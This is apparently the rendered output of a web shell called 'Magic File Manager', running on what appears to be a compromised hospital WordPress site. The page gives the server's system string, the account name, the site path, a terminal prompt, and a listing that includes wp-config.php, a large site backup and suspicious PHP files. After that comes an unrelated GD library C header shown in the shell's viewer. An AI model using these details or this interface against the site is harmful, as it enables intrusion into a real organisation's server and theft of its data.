✨ Magic File Manager

🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
🐘 PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$
📂 /homepnj6a06usxf3public_htmlshivshaktihospital.co.in

📁 Create New

⬆️ Upload File

📊 Max upload: 32M | 📦 Max POST: 128M
📄 Name📊 Size🔒 Perm⚡ Actions
📁 .well-known--drwxr-xr-x
📁 shivshaktihospital.com--drwxr-xr-x
📁 wp-admin--drwxr-xr-x
📁 wp-content--drwxr-xr-x
📁 wp-includes--drwxr-xr-x
⚙️ .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log296.138 KB-rw-r--r--
🐘 index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
🐘 log.php63.893 KB-rw-r--r--
🌐 readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
🐘 sid3.php55.304 KB-rw-r--r--
🐘 wp-activate.php7.537 KB-rw-r--r--
🐘 wp-blog-header.php0.343 KB-rw-r--r--
🐘 wp-comments-post.php2.269 KB-rw-r--r--
🐘 wp-config-sample.php3.261 KB-rw-r--r--
🐘 wp-config.php3.16 KB-rw-r--r--
🐘 wp-cron.php5.485 KB-rw-r--r--
🐘 wp-links-opml.php2.435 KB-rw-r--r--
🐘 wp-load.php3.845 KB-rw-r--r--
🐘 wp-login.php51.305 KB-rw-r--r--
🐘 wp-mail.php8.522 KB-rw-r--r--
🐘 wp-settings.php32.375 KB-rw-r--r--
🐘 wp-signup.php34.259 KB-rw-r--r--
🐘 wp-trackback.php5.27 KB-rw-r--r--
🐘 xmlrpc.php3.13 KB-rw-r--r--
✨ File Manager Magic · Hostinger Optimized ✨
#ifdef __cplusplus extern "C" { #endif /* * gdcache.h * * Caches of pointers to user structs in which the least-recently-used * element is replaced in the event of a cache miss after the cache has * reached a given size. * * John Ellson (ellson@graphviz.org) Oct 31, 1997 * * Test this with: * gcc -o gdcache -g -Wall -DTEST gdcache.c * * The cache is implemented by a singly-linked list of elements * each containing a pointer to a user struct that is being managed by * the cache. * * The head structure has a pointer to the most-recently-used * element, and elements are moved to this position in the list each * time they are used. The head also contains pointers to three * user defined functions: * - a function to test if a cached userdata matches some keydata * - a function to provide a new userdata struct to the cache * if there has been a cache miss. * - a function to release a userdata struct when it is * no longer being managed by the cache * * In the event of a cache miss the cache is allowed to grow up to * a specified maximum size. After the maximum size is reached then * the least-recently-used element is discarded to make room for the * new. The most-recently-returned value is always left at the * beginning of the list after retrieval. * * In the current implementation the cache is traversed by a linear * search from most-recent to least-recent. This linear search * probably limits the usefulness of this implementation to cache * sizes of a few tens of elements. */ /*********************************************************/ /* header */ /*********************************************************/ #include #ifndef NULL # define NULL (void *)0 #endif /* user defined function templates */ typedef int (*gdCacheTestFn_t)(void *userdata, void *keydata); typedef void *(*gdCacheFetchFn_t)(char **error, void *keydata); typedef void (*gdCacheReleaseFn_t)(void *userdata); /* element structure */ typedef struct gdCache_element_s gdCache_element_t; struct gdCache_element_s { gdCache_element_t *next; void *userdata; }; /* head structure */ typedef struct gdCache_head_s gdCache_head_t; struct gdCache_head_s { gdCache_element_t *mru; int size; char *error; gdCacheTestFn_t gdCacheTest; gdCacheFetchFn_t gdCacheFetch; gdCacheReleaseFn_t gdCacheRelease; }; /* function templates */ gdCache_head_t *gdCacheCreate(int size, gdCacheTestFn_t gdCacheTest, gdCacheFetchFn_t gdCacheFetch, gdCacheReleaseFn_t gdCacheRelease ); void gdCacheDelete(gdCache_head_t *head); void *gdCacheGet(gdCache_head_t *head, void *keydata); #ifdef __cplusplus } #endif